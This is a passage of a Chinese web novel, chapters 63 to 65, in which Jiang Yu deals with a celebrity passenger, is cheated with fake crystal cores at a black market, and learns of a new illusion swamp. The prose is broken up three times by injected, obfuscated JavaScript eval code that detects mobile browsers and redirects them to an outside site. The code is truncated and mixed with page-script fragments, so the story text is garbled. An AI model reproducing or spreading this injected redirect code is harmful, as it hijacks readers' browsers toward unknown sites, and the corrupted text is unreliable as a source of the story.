姜渔微笑点头致歉：“抱歉，老师，我只是越说越不爽幻境沼泽。” 学生们听到两人恢复到更日常的谈话，也从思考中回神。 对于神秘的幻境沼泽，任何说法都很容易吸引注意。这是因为人类已经对它产生了最深处的恐惧，而姜渔的推测，将幻境沼泽的手段与恶毒说得十分具象，大家都不由自主地想象自己陷入幻境沼泽后，任其玩弄折磨的现场。 确实害怕，也确实不爽。 他们听到姜渔的态度，都会意一笑。 女教师感受着和谐起来的教堂氛围，也微笑问：“还有么？” 姜渔摇头：“没有了，老师，我这些只是随口一说。可能我上学时看小说看得比较多。” 教室中又响起浅浅的笑声。 女教师善意调笑：“怎么看都是你身边这位朋友看小说比较多。” 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694196|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不朽再次想回到地下。 “好了，下课时间过去很久了。今天就这样，同学们。”女教师收拾起教案，学生开始散去。 姜渔也与温不朽离开了。 走廊的人潮中，姜渔听到一声“同学”的呼喊，她转过身，正是刚刚讲课的女教师。 她很自然地递来一张名片，眼中的赞赏几乎要溢出来。 她说：“同学，我会认真考虑你的想法，如果你的想法对研究有帮助，随时可以加入到我的团队里来。这是我的联系方式。如果你有什么新的想法，同样可以跟我说。” 姜渔看着名片上“路迎春”的名字，重重点头，“若有新想法我会联系您的。不过加入研究就免了，我真的只是随口一说，本身没有任何学术研究经验，还是谢谢老师的认可。” “看来，你的经验不是来自于书上了。” 路迎春的银色短发下，目光闪过一丝心疼，说：“既然如此，你多保重。” 姜渔诧异于路迎春的眼神，愣了愣，表情谦顺，说：“嗯。谢谢老师。” 路迎春转身离开了，姜渔继续跟温不朽并排离开。 温不朽时不时看向姜渔。 姜渔：“怎么？” 温不朽撇撇嘴：“我没想到你对幻境沼泽这么有见解。” “有没有感到被上了一课？” “是想要收补课费么？老师？” “如果你愿意尊师重道的话。” 温不朽闭口不谈，他快走几步，已经来到停车场，开门上车。 姜渔尾随进去。 然而，车还没有启动，后座的门忽然被打开了，坐进来一个带着鸭舌帽，身穿短袖短裤，双臂双腿都有龙虎文身的社会大哥。 姜渔皱眉转头，心想这社会大哥谁啊？这里不是大学校园吗？ 温不朽则一惊，说：“你怎么在这？刚才在教室里就没看见你。” “别提了，我为了伪装贴满了文身贴，结果保安大哥不让我进，我好不容易才溜进来的。” 社会大哥说话时，嗓音好听且熟悉。 他摘下鸭舌帽与口罩。 姜渔瞳孔微震：“宫少云？” “你是……哪位？”当红歌神宫少云一脸戒备，他不满看向温不朽：“不是约好是咱们两个的吗？” 温不朽启动车辆：“事情有变。” “事情有变你怎么不跟我说？你知不知道我贴这些很费时间的？”宫少云看了眼转头打量，“不过这么一说，这位想必是……女朋友？” 温不朽无语：“不是。” 姜渔皱眉：“不是。” “对不起，冒犯了。” 宫少云意识到自己说错话，诚恳道歉，同时解释说：“被人看到我这幅衰样，所以只是想转移话题。” 你打扮得确实也很极端。 姜渔心想着，淡淡说：“没事。” 看到姜渔仍冷着脸，宫少云更觉惭愧，他向来以行踪神秘出名，深居简出惯了，与人打交道时不够圆滑，只能努力说：“对不起，真的对不起。” 车内一时因为宫少云的冒昧提问和不断道歉陷入尴尬。 姜渔瞥了眼有些坐立难安的宫少云，觉得实在是不至于此。 沉默中。 她没话找话，试图缓解尴尬。 “孩子多大了？” “两岁。” 宫少云提到孩子，眼中不自觉浮出一丝温暖的笑意。 然后。 这丝笑意，一点点变成震惊，震惊，又一点点变成惊恐。 他结结巴巴地说：“你你你怎么知道的！温不朽跟你说的？” 温不朽也完全震惊了，他看路不是，看姜渔也不是，慌张地把着方向盘说：“啊？我没有啊？你是怎么知道的？” 姜渔咽下一口唾沫。 她下意识搬出之前解释自己与谢雨晴相识的说辞：“我们缘分很浅……” …… 轿车内响起宫少云崩溃的声音。 “不是！你到底是谁啊小姐？话不能乱说啊？我根本没见过你啊！我有老婆的啊！” 63. 手术真相 外观朴实的黑色轿车行驶在曙光之城的主干道上，没人知道这辆车里坐着当今娱乐圈的两大顶流，且全部处于崩溃状态。 车内，罪魁祸首姜渔，正在努力让自己表情维持自然。 她说：“姜渔。” 宫少云：“什么？” 姜渔：“我的名字。生姜的姜，渔民的渔。” “哦。你好，姜渔。你的名字介绍起来好有风土人情的样子。”宫少云眼神复杂，暗自咬牙：“所以你为什么那样说？” 姜渔陷入沉思。 足足一分钟后，姜渔也没有想好怎么解释。 于是，她答非所问地说：“我主体值为2，请见谅。” 两人再次同时愣住，他们都听明白这个姑娘在一番“沉默地挣扎”后，所吐出的难以启齿的真相：我就是个大疯子。 但主体值为2…… 温不朽与宫少云通过后视镜交换了一下眼神，都读出对方眼中的畏惧。 两人久居各大新闻头版，都知道这个数值的含金量，像是“连环杀人魔”、“变态杀手”、“食人魔”、“恐怖/袭击”这些人物出现时，便会强势夺走他们的头版。事关人命，自然要比娱乐新闻重要得多，倒是合理至极。但因为这类新闻的恐慌情绪浓郁，两人看到时也会忍不住全部浏览一遍，被这些疯子的骇人举动刷新认知。 姜渔的主体值，则比这些人物都要高出好几个level。 换言之，姜渔“变态”得都让两人不知道怎么想象好了。 宫少云总觉得姜渔下一秒把自己炖了都有可能。 宫少云表情凝重：“抱歉。其实你的名字很大气。炎帝生于姜水，一定没少打渔，这是一个具有上古气息的名字呀，神秘莫测，恢弘壮阔，博古通今，大帝之资！” 瞎叭叭什么呢。 姜渔瞥了眼后座的宫少云，看到他的额头已经渗出细密的汗水。 “你很紧张？” “没……”宫少云连忙露出一副笑容，小心试探问：“不过，是联邦法律有什么新的更改吗？我记得这么高的主体值应该被采取限制措施的吧？” 温不朽则想到什么，目光一沉。 姜渔老实回答：“市警局的柳局抓过我，不过我后来找了精卫的老板做监护人，目前正在他手下工作，市警也没有再联系我。我想，应该问题不大。” 哦……精卫啊。宫少云笑容一僵，他心想你都进精卫了还采取什么限制措施啊，那里不都是一群亡命之徒吗？而且问题大不大也不是由你来说的吧？ 他又转念一想：真不愧是精卫啊，这种人物都敢招聘。 “所以您的意思是，您刚才的话都是在……开玩笑？” 宫少云换上敬语，又很努力才咽回去“胡说八道”这个词。 “嗯，我脑子有病嘛。”姜渔若无其事地点点头：“让你尴尬实在抱歉，我可能只是觉得你很像一个已婚男人。” “呵呵，真是见笑了，我确实看上去比温不朽更稳重一点。”宫少云讪笑。 “嗯。” “我刚才的回答也是瞎说的。因为您问得实在突然。呵呵呵。”宫少云心想千万不能让这个疯子接触自己的小家。 “嗯。” “虽然您说我们缘分很浅也是在开玩笑，但认识您真是很高兴，呵呵，希望我们可以多来往，不过我忽然想到点事情，呵呵，可能要先走了。阿温，停下车。呵呵呵……阿温，停车！阿温！嘿，你怎么还越开越快了？” 温不朽抿嘴闷头开车，打定主意不放宫少云离开，车速加快，有一种“要死一起死”的决然。 他斜视一眼后视镜说：“不是约好听完课还要一起吃饭么？课已经没听了，连饭你也要爽约？” “我不吃啦！” 宫少云起身向前，挤到两人中间，贴满文身贴的长手努力够向方向盘，狠狠点击方向盘中间的紧急刹车键。 车辆紧急制动，巨大的惯性使三人不受控制地撞向前方，所幸姜渔与温不朽都系着安全带，未受重伤，但姜渔的额头还是磕到了副驾台上。 宫少云则将整张脸都撞上方向盘，他挣扎起身，正看到姜渔紧皱双眉揉着额头。 姜渔：“头好痛。” “冷静，请务必冷静，是我的错，下次，下次我请两位吃饭赔罪。” 宫少云说着话，急忙打开后座车门，话说完时人已经离开车关上门了。 车外传来滴滴叭叭的不满鸣笛。 温不朽从方向盘上起身，劫后余生地看向姜渔。 车外的鸣笛与叫骂声还在持续。 温不朽充耳不闻，他第一时间双手按在空中，缓缓按下，说：“冷静。没事的，请冷静，有我在，请一定要冷静。” 这就是疯子的待遇啊，比老赖还要极端。 老赖让人怀疑她的人品问题，疯子则让人怀疑她的精神问题。 所幸，这两者的任何一个，都让人对她的实力没有任何怀疑。 姜渔在心里叹了口气，说：“请开车。” 温不朽立即启动车辆，一阵沉默后，说：“这就是你在精卫工作的原因吗？” “算是吧。”姜渔隐去老赖的事情，企图挽回一下形象。 “可是……”温不朽侧目观察姜渔，说：“我看你明明很正常。” “我也认为是机器出了问题。”姜渔看向车外，问：“还有多久？” “很快了。” 谈话间，车辆拐了个弯，驶离主干道，十几分钟后，车辆停在一栋公寓楼下。从外立面来看，与曙光之城的其他建筑并无两样，除了地理位置位于城中心一环之外，不像是多么高档的小区。 两人下车后，温不朽压低帽檐，进入公寓，姜渔随他搭乘电梯，直至顶楼，在走廊尽头的一间门前停下。 姜渔：“这里？” 温不朽点点头，说：“自从我陷入幻境沼泽后，我的物品都被经纪人送回了家。你就这样进去么？” 温不朽语气为难，“你的主体值那么高，难道不会更容易被辐射物影响么？” “不会。”姜渔略作思考，又重复道：“应该不会。而且你也推测过，就算对精神有影响，也是缓慢进行的。” “好吧。”温不朽伸出手按向门把手，一声叮响后，门开了。 “我就不进去了，毕竟我也不知道会不会继续影响我的精神。”温不朽从口袋中递出一个巴掌大小、黑色金属质感的扁盒，“经纪人说，我的项链放在书桌上。这个盒子则对辐射物的影响有隔离作用。” “明白了。” 姜渔接过盒子，转身向屋内走去。 这是一间极简风格的公寓，两室一厅，不到一百平米。无论是玄关柜还是客厅都整洁一新，没有任何装饰摆件，似乎住户在这里就只是“睡觉”而已。 姜渔一眼看到桌子上摆着几个纸壳箱，旁边又摆着一些衣物。一条熟悉的项链正放在衣服上。 正是温不朽在幻境沼泽中戴着的那条项链，项链的金属铭牌上，仍纂刻着两列盲文。 姜渔心里一酸，仿佛又看到了谢雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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姜渔有些无语。 “我也觉得。但因为机器上存在非凡之力，我又陷入幻境沼泽，许总只能冒险一试。” 姜渔绕回话题：“手术到底会让人发生什么变化？让你们许总这样念念不忘？莫非可以让人起死回生？” “她只是很笃定我大概率会从幻境沼泽中苏醒。” 温不朽摇摇头，似是回忆起许江竹的话，眼神有些疑惑，“至于会发生什么变化，不知道是她没有说清楚，还是我没有听明白。” 昨日的对话场景仍然历历在目。温不朽很少见到许江竹许总那样的表情，坚信，憧憬，又带着一丝忌惮、狠厉。那个女孩站在硕大的落地镜前，眼中却掠过了所有建筑。她的心神都被黑市商人的故事勾走了。温不朽的性命在她口中似乎也只不过值得一试的初次样本，这让温不朽觉得自己越来越接近许江竹内心的另一道灵魂。 姜渔说：“那她的笃定，又来自于哪？” “自然是卖给她机器的家伙口中的那个故事。” 姜渔撇撇嘴：“一定是个很烂很长很离谱的故事吧。骗局是这样的，越是离谱才越有人信。” “确实。但故事中，小女孩在手术成功后，曾说过一句话。”温不朽点头说道，“那句话应该才是许总认为我有可能靠手术醒过来的关键。” “小女孩？她说了什么？” “她说。”温不朽皱眉回忆，不自信地缓缓说： “她看到一座连接着现实与幻境的桥。” 64. 黑市 “她看到一座连接着现实与幻境的桥。” 随着温不朽话音落下，姜渔瞳孔微微收缩。 又是桥。 自从上次在镜花岛中听到神秘人的留言后，姜渔一直在孜孜不倦地寻找着关于“桥”的线索。 她从没想到信息以这种方式水灵灵地登场了。 姜渔不动神色地问：“桥？” 温不朽语气无奈：“很奇怪吧，就像在说胡话一样。我在幻境沼泽中可没见到什么桥。” “还说了什么别的吗？” “没了。” 姜渔暗自记住这个信息，又说：“主要任务，就是找到卖给你项链的人，对吧？” 温不朽点头：“麻烦了。” “不会。那我先回去了。” “送你？” “不用。”姜渔正要迈步离开，想起来一件事，说：“能不能借我点现金？身上没钱打车。” 温不朽掏出纸币后，两人简单道别，就此分别。 姜渔坐上电梯，手机忽然响起铃声，她掏出手机，看到屏幕上只有一串夹杂着数字字母符号的乱码。 她内心一动，接起电话，放到耳边。 里面传来纪小麦欣喜的声音：“真的可以打电话耶。” 姜渔舒了口气，浅浅一笑：“这么晚才醒。” “嗯。” 姜渔听到纪小麦翻身的声音，大概还在赖床，于是说：“昨天玩到很晚？” “很晚很晚……因为这手机有问题。” 姜渔竖起耳朵：“什么问题？” “手机里都是很久很久之前的东西。软件，电影，新闻，游戏。都是旧纪元的事情。”纪小麦嘟囔着说，“游戏里的玩家也是，都是旧纪元的人。” 电梯下至一楼，姜渔打着电话走出公寓，拦下一辆的士。 她坐上车，跟司机报了精卫的目的地，琢磨着向纪小麦说：“会不会是因为来自于幻境沼泽的缘故？” “大概是吧。我也是这么想的，估计陪我玩游戏的玩家也都是幻体，晦气。”纪小麦沉默两秒，补充说：“但好玩。” “可以打电话已经很好了。”姜渔嘴角一直挂着微笑。 一年前，她曾与纪小麦打过一通电话。在那通带着争论的电话后，两人就此阴阳相隔。 一年后，她再一次与纪小麦通上了电话，终于品尝到“日常”的珍贵滋味。 姜渔说：“你今天什么计划？” 纪小麦语气轻松：“练级。我昨天加了游戏的一个工会，今天要下副本。你呢？” “我准备去趟黑市。” “那……注意安全呀，那里骗子一定很多。” 又闲聊几句后，两人结束通话。 姜渔看向窗外的街景，总觉得一年来的遗憾、后悔、自责，似乎都随着这一通电话，挂断了。 继续还贷吧。她呆呆地想，或许总有一天，纪小麦可以真的活过来。 …… 车辆驶至精卫。 姜渔下车付账后，来到前台，林晴依然在埋头看电视剧。 她看到姜渔后，忙招呼道：“姜渔，旷野星光那边的钱到账了，你要提出来吗？” “要。” 姜渔本想拿起之前留下的二十万走人，没想到钱到得这么快，她靠着前台，好奇问：“你还兼职财务？” “不是呀。”林晴摇摇头，在手机上发送几条消息后，说：“法斯特主管这些事情。他很快就到。” 说完，林晴脸色有些为难地说：“我只是不知道你的账户信息……” 姜渔好奇：“要我账户信息做什么？” 林晴喉间吞咽一下，她从前台下拿出温不朽带来的皮箱，双手摁在箱子上，眼中带着可怜巴巴地请求：“我想……能不能我转给你钱，然后让我留下温不朽准备的这些现金？” 姜渔立即了然，说：“当然可以。” 说罢，姜渔在大厅的沙发上坐了会后，法斯特如约而至。 他优雅地向姜渔欠身微笑，递来一张信封，说：“这是公司为您准备的银行卡，姜渔女士，初始密码是卡号的前三位加上后六位。这张卡可以在各大银行使用，不用担心暴露身份。” 姜渔眉毛一挑，接过信封拆开，是一张纯黑色的长方形卡片。 上面除了一长列数字外，只印了一只小鸟的图案，没有任何多余字样。 法斯特继续说道：“旷野星光的结款已经转到您的卡上了。同时，公司收到额外的两笔打款，备注是许江竹许总为您和苗宁象女士准备的谢意，在下同样转到您的卡上了。目前，卡内余额是一百万。” 快递单子的报酬经分成后，是五十万。看来许江竹又多给了五十万。 “多谢。” 姜渔接过卡，又问：“请问黑市应该怎么去？” “黑市吗？” 法斯特略作沉吟，说：“黑市一周只开一天，姜渔女士要是想去黑市的话，只能等到大后天了。具体时间是凌晨两点开始，凌晨五点收摊。地址我会发到您手机上。” “多谢。” 姜渔再次道谢后，又与林晴确认了卡号，收到林晴的二十万转账，向两人道别后回到宿舍。 她第一时间联系上苗宁象，在她的执意要求下，获得了苗宁象的账号信息，转过去25万联邦币。 至此，这次送快递的收益彻底清晰，总共收获95万。 对以前的姜渔来说，已经是一笔天价收入了。但现在，一经换算，只是9左右的晶素，不过是一期房贷的零头。 如果想只靠在现实中购买晶核，还上房贷，那么姜渔至少需要月入1500万才可以…… 这还是在市场上一直有10期晶核流通的情况下。 姜渔只觉得绝望。 接下来，姜渔又窝在精卫总部中，十分自律地过了两天。锻炼，吃饭，逛论坛，浏览新闻，然后被新闻旁边的购物广告骗着点进去，网购一些服装。毕竟不能总穿着精卫的工作服。 猎人论坛上，那个曾约定回到主城就给姜渔发邀请码的用户“骗人天打雷劈”，一直没有回信。 姜渔倒是也问了苗宁象，从苗宁象口中得知，她虽然是“墙外之人”的用户，但也没有邀请码。邀请码的获得机制十分困难。姜渔只好继续耐心等待“骗人天打雷劈”的回复。 至于1301室内，纪小麦这几天，捧着老旧的手机玩个不停，完全沉浸在那款武侠世界背景中的网游中，与两人认为的幻体玩家打成一片。 …… 安宁的生活如此度过两天，时间来到第三天午夜。 姜渔换上一身黑衣，用打车软件叫了一辆的士，前往法斯特发来的地址信息：大槐树市场。 车辆行驶将近一个小时后，在一个街口停下。 姜渔下车望去，只见整整一条街上，地摊云集，人影戳戳。路灯都暗着，店家在摊位上自备了各种台灯，照亮地摊上的各种物件。两侧楼房比较矮，店铺都是些小店，如熟食米店之类，此时都已经关门，唯有几家早餐店还在营业，做卖家买家的生意。 姜渔迈步融入人潮，饶有兴致地浏览起各种地摊上的商品。 随着路过一个个地摊，姜渔暗自咂舌，心想不愧是黑市，所售商品可谓是应有尽有。除却义肢，武器，药品这些，还有人在贩卖各种古董物件，二手电子产品等杂物。 卖家们有人遮面，有人露脸，各不相同，唯一相似的是几乎所有卖家后面都停着一辆面包车，显然还有更多存货。 除了武器之外，姜渔对大部分商品都只是感到好奇，并没有入手的兴趣。 至于武器，姜渔发现地摊上大部分武器都比不上精卫所提供的，也不再放心思在这上，浏览速度逐渐加快，只盯着贩卖衍生体相关的摊位。 与衍生体相关的摊位很好找，基本上看到地摊上摆着大小颜色不一的箱盒，就可以默认里面装的是辐射物。 姜渔问了几家，都没有人在贩卖晶核。多数是私自用衍生体骨骼、血肉加工的各种东西。 姜渔跟各位老板打听几句，有人用衍生体的骨骼改造成刀具，摆件，甚至大型家具，也有人将衍生体的血肉制成标本，甚至食物。这些辐射物在各位老板口中都是妙用众多，只是难辨真假。 直到姜渔又走出去一百多米，目光一定。 她看到一个浑身黑衣黑裤的兜帽男。 兜帽男双手插在卫衣兜内，安静地站在地摊前。他的摊位很小，只有一米左右，上面同样摆着几个盒子。因为摊位小，物件少，且只摆着辐射物。他的摊位前很少人停留。 姜渔走上前去，问：“都是些什么？” 兜帽男抬起头来，露出一张脸色苍白的脸。 他脸部瘦削，五官周正，有一双死鱼眼，黑色碎发散乱地垂在额前，碎发后的双眼中死气沉沉。 这个卖家有种好死不如赖活着的颓丧感。 “未经加工的衍生体大腿肉，冷藏保存，日期新鲜。” “晶核，有么？” “有。要多少期的？” 姜渔来了精神：“10期。” “有，要多少？” “你有多少？” “很多。” 兜帽男音色低沉。 姜渔有些讶异地看了对方一眼，说：“什么价格？” “12万。” “6万。” 兜帽男不说话了。 姜渔贴心补充：“我要很多。” 兜帽男打量姜渔几眼，总算又开口：“10颗起卖，算你8万8。” 姜渔又要开口时，兜帽男语气淡淡地说：“不讲价。不要就走开。” 姜渔看着兜帽男的死鱼眼，几秒后说：“看看货。” 8万8，算是比较合适的价格了。她确实不用再讲价。 兜帽男弯腰蹲在地上，从零星几个黑色金属盒中挑了一个巴掌大小的盒子，单手递到姜渔面前，另一只手打开箱子。 一颗晶核静静地摆在其中。 姜渔拿起来，掂了掂，并没有什么问题，与以往的手感重 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重新在脑海中过了一下：虽然是黑市，但购买与出售晶核的人都不多。这是个需要门槛才能进入的小圈子，卖家买家基本都不是好相处的家伙，所以应该不会有人拿这种东西作假。 姜渔不再犹豫，掏出手机向对方付款。 88万瞬间消费。 姜渔拎着牛皮袋，虽然肉疼，但也知道这事关她和纪小麦的性命，是一项必需支出。 于是她问：“你从哪里搞到这么多晶核的？” 兜帽男的死鱼眼瞥了姜渔一眼，说：“我可没问你搞这么多晶核要去干什么。” 姜渔语气诚恳：“我只是想以后再来找你买晶核而已。” 兜帽男沉默良久，死鱼眼中浮上一层黯然，低声说：“我可能活不到那时候了。” 姜渔一愣。 她看着兜帽男沉默地开始收摊，不知该不该再继续问下去，半天挤出一句：“那也留个联系方式？我是真诚心收购晶核。” 兜帽男将地摊收起，看着姜渔，嘴角勾出一道浅笑，声音温和许多：“不必了，听到你提到以后，我忽然觉得自己确实应该好好把剩下的日子过完，不再冒险了。” “哦……那也好。” 姜渔看着兜帽男瘦削的身影，转身上了面包车，启动车辆缓慢离开，想到这就是两人最后一次交易，内心升起一股淡淡的失落感。 她其实很希望能有一个稳定提供晶核的卖家，不用她每次都来黑市扫荡。 算了，总会有的。 姜渔很快打起精神，她拎着满满当当的袋子离开黑市，打车返回精卫。 又一个多小时后，姜渔已经回到宿舍。她坐在沙发上，抱着袋子，闭目沉思，进入1301室。 叮的一声。 姜渔睁开眼，1301室内只亮着一盏昏黄的餐厅灯，纪小麦已经睡了。 她循声向下望去，双手还维持着怀抱的姿势。 不过，袋子并没有随她来到1301室。 只有晶核摔在了地上。 姜渔目光放空。 只有一颗晶核摔在了地上。 空荡房间中，姜渔看着地上的一颗晶核，陷入了深深的悲伤。 好久，她才捡起晶核，放到厨房台板上晶核小山旁。 随即再次闭眼，回到精卫，第一时间给苗宁象发去消息：“睡了吗？” 苗宁象秒回：“还没，在打游戏呢。” 姜渔：“我想让你帮我找个人，可以吗？” 苗宁象：“当然，什么人？” 姜渔：“很难讲清楚，只见过一面。” 苗宁象：“那见面讲？我可以用AI复刻出来长相。还是你要先睡觉？” 姜渔：“不睡。去哪见？” 苗宁象：“娱乐区。” 姜渔：“好。” 姜渔立即起身，冷冷扫了一眼牛皮袋中剩下的十个小盒。 其中一个，已经是空的了。但剩余九个，还摆着九个赝品。 她现在只想把九个赝品晶核塞到那个兜帽男的嘴里。 姜渔不再多看，出门走向娱乐厅，转过几道走廊，登上几层楼梯后，来到娱乐厅门前。 姜渔推开门，发现深夜的娱乐厅竟然还有两个人。 法斯特端着一杯红酒，站在一个打电动的人旁边，正在说话：“辛先生，这么晚还要喝酒吗？” “当然！你知道吗？我刚刚在黑市上碰上了一个傻子，88万买了一颗10期晶核！九颗假的！” “辛先生作假的技术确实是浑然天成。” “我现在觉得我的演技更好吧，她还想以后也来找我买呢，我直接说我快挂啦，然后收拾东西就开车跑了，回头看，她还在那伤感呢。你真应该看看那傻子的表情。” 男生打完一盘，停下了手上动作。他道了声谢，转身去拿法斯特端着的红酒。 侧身抬手时，目光扫到门前，眼神一滞。 他看到“那傻子的表情”。 冷冷的，感觉会杀人。 65. 桥上的神 法斯特顺着辛先生的目光，看到站在门前的姜渔。 法斯特怔了一下，脸上挂起微笑说：“这么晚还没睡？我为两位介绍一下，这位是最新加入精卫的姜渔女士，这位则是精卫的老员工了，辛司政辛先生。” 姜渔盯着辛司政，走上前。 她端详着这个年纪三十左右的男人。 大概是因为一直藏在兜帽下的原因，头发十分杂乱，瘦削的一张脸在灯光照射下，更显得毫无血色，也难怪姜渔会轻信他时日无多的鬼话。此时，他正咧着嘴讪笑，一双眸子中都是讨好。 看着讪笑的男人，姜渔也笑了。 “辛司政？” “是我是我。您好，姜渔。” 辛司政点头哈腰地起身，向姜渔伸出手要握手。 姜渔眉眼一低，看向辛司政的手。手指修长，灵巧有力，指甲修剪整齐，手掌长满老茧。整双手上布满细小狭长的疤痕，疤痕延伸至袖内，不知多深多长。是一只久经征战的手。 姜渔没理，抬头正视对方，语气中带着好奇：“听说辛先生今天遇到了一个傻子？” 辛司政重重地叹口气：“唉！别提了，其实我的内心也很愧疚的。我再也不想利用别人的信任来赚钱了。” “为什么不呢？”姜渔歪了歪头，说：“是因为你剩下的日子不多了吗？” “也许只有几十年可活啦。” 姜渔微笑：“还有这么久啊，辛先生，看来你的时间足够去弥补你的愧疚。不是么？” 辛司政正色：“你说的对，我准备用剩下的几十年时间去弥补我的愧疚。” “要这么久吗？我觉得只要把钱还回去，那个傻子就会很开心的。” 法斯特端着酒，看出两人的气氛不对劲。他想到辛司政刚刚说的事情与姜渔前几天向他打听过黑市的事情，很快了然，不动声色地离开了两人。 他正好撞到赶来的苗宁象，连忙拦住苗宁象，说：“那边危险，不要过去。” 苗宁象一头雾水：“那边怎么了？我来帮姜渔找人，能有什么危险？” 法斯特很快反应过来，说：“我估计她已经找到人了。” “真的吗？”苗宁象探头避开法斯特的身形，说：“姜渔姐，法斯特说你找到人了？” 姜渔闻声回头，说：“就在这呢。” 她指着辛司政。 “哦，辛大哥啊。”苗宁象仍是云里雾里。 但她看到略显局促的辛司政，隐约猜到什么，缩回头，看向法斯特，说：“他惹到姜渔了？” 法斯特点头：“骗了88万。” 苗宁象倒吸一口冷气，拿起法斯特端着的红酒，眼神示意。 “辛先生还没喝。”法斯特顿了顿，说，“我估计他也喝不上了。” 苗宁象浅尝一口，顶着大大的黑眼圈靠在门边观察局势。 另一边。 辛司政干巴巴笑着，说：“钱花完了，所以只能用剩下的几十年时间去弥补了。” “这么快？” “我的购物欲总是会比愧疚快一步。” 姜渔看着辛司政，良久，伸出手来，手掌向上。 辛司政看着姜渔的手，会意，伸手握住摇了摇。 姜渔眼神一凝，她从齿间挤出硬邦邦的两个字：“还钱。” “哦，抱歉，我以为你要握手言和呢。”辛司政缩回手，挠着头憨笑，“真没钱，我可以给你看消费记录，我用来买别的东西了。” 辛司政眼神一撇，看到姜渔已经握紧拳头，又忙说：“不过，都是同一个公司的，我肯定会还钱的。这样吧，我以后接的快递单子，获得的报酬先还给你，怎么样？” 辛司政双手合十，做拜托状：“请务必相信我。” 姜渔对这个滚刀肉般的男人没有任何好感。她盯着对方多久，对方就拜托了多久，时间仿佛定格。 终于，姜渔开口了：“可以，但我有两个条件。” “您请讲。” “第一，一个月内我要拿到我的钱。” “我绝不拖欠。” “第二，我要黑市上所有贩卖晶核的渠道。”姜渔补充，“靠谱渠道。” 辛司政连连点头：“小的知无不言。” 姜渔闷声嗯了一声，转身离开，经过苗宁象身边时，说：“多谢你，小象，让你白跑一趟。” 苗宁象喝了几口红酒，两颊红扑扑得直摇头：“没事的。” 姜渔正要离开时，腰间的电话忽然响起来。 在几人的注视下，姜渔掏出电话，看到来电人赫然是一串乱码，眉头一紧，轻声说：“怎么醒了？” 那边传来纪小麦急促的声音：“幻境沼泽出现了！” 姜渔眉头皱得更紧了，不禁环视在场几人。 精卫……有人陷入幻境沼泽了？ 姜渔知道此地不便多言，对着电话说到：“我尽快回去。” 紧接着，她想到这一次去幻境沼泽又不知道要多久，自己的肉身在现实中总是需要照顾，于是再次看向苗宁象，带着歉意地说：“小象，我还是有事情要麻烦你，可以去我的宿舍吗？” 苗宁象归还红酒，点头说：“当然！” 两人结伴离开，一路折返，直至姜渔的宿舍内。 姜渔关好房门，才对苗宁象认真说：“小象，你还记得我们前几天在许氏研究所时，我曾休息过几个小时吗？” “记得，怎么了？” “我现在同样需要休息，不过……类似于小说中的闭关，不能被人打扰。而且，我也不知道自己会睡过去多久，短则几个小时，长则一天两天。我希望你可以在身边陪我。” 苗宁象看着姜渔认真的神色，重重点头：“放心吧，我先住这里。” 姜渔感到有些亏欠，但还是收起了客套。 鱼龙混杂的精卫总部安全程度与夜莺总部截然不同，幻境沼泽也不是可以随意进出之地。当进入幻境沼泽时，最好有值得信任的人在现实中保护自己。 姜渔拍拍苗宁象的肩，转身坐进沙发上躺倒，说：“床留给你，如果累了就睡，也不必一直紧着神经。” “放心吧，如果我睡觉的话，会让我的朋友守在这条走廊上，但我不会让他进来。” 姜渔深感苗宁象的靠谱，不再多言，双眼一闭，进入1301室内。 她一眼看到纪小麦拿着手机，站在次卧门前。 纪小麦一直在听现实的消息，知道发生了什么，在姜渔赶来的瞬间就开口说道：“这次和以往不一样。” 姜渔却无暇顾及，第一时间问：“你有什么状况没有？” 纪小麦摇摇头：“只是在睡觉时感到了失重感，醒来就发现自己被扔到客厅了。” “那就好。”姜渔松了口气，才问：“怎么不一样？” “你自己看。” 姜渔循声看去，只见纪小麦卧室门的黑板上，出现了以下字样： 【检测到“1”处幻境沼泽。】 【难度：普通。】 【联邦身份：海猫神的信徒。】 【衍生体情况：10期*5，20期*3,30期*1。】 【课题：《女儿的世界》】 …… 姜渔一眼看到“不一样”的地方。 姜渔呆呆出声问纪小麦：“海猫神的信徒，那是什么东西？” 纪小麦耿直地摇头。 良久，她推测：“陆伯原又进去了？还是温不朽？不过，他们也没在你身边呀。” 姜渔揣测着说：“应该不对，如果是他们两个，应该直接显现姓名才对。” 她看着那一行字，猛然出现一个念头。 “温不朽自从出来后，一直在猎人论坛寻找海猫神，他肯定也在现实生活中四处打听。另一边，陆伯原更是跟夜莺共享了海猫神的事情……” 纪小麦跟着姜渔的思路提问：“所以？” “所以，海猫神与幻境沼泽有关的信息，或许已经有很多人知道了。” 姜渔咽了口口水，指着纪小麦卧室门，说：“那有没有可能，是其中一个知情人？” 纪小麦听完后，思索几秒，脸色古怪。 她说：“你的意思是，如果越来越多的人，相信幻境沼泽里有个什么海猫神救死扶伤的……那么当他们陷入幻境沼泽后，我的卧室都会连接上那些人的幻境沼泽？” “我也只是推测。” 姜渔现在只觉得头皮发麻，继续说：“但如果真是这样……也是好事吧？至少我们不用一个个去接近陷入幻境沼泽的人了。” “不错。”纪小麦觉得姜渔言之有理，于是问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 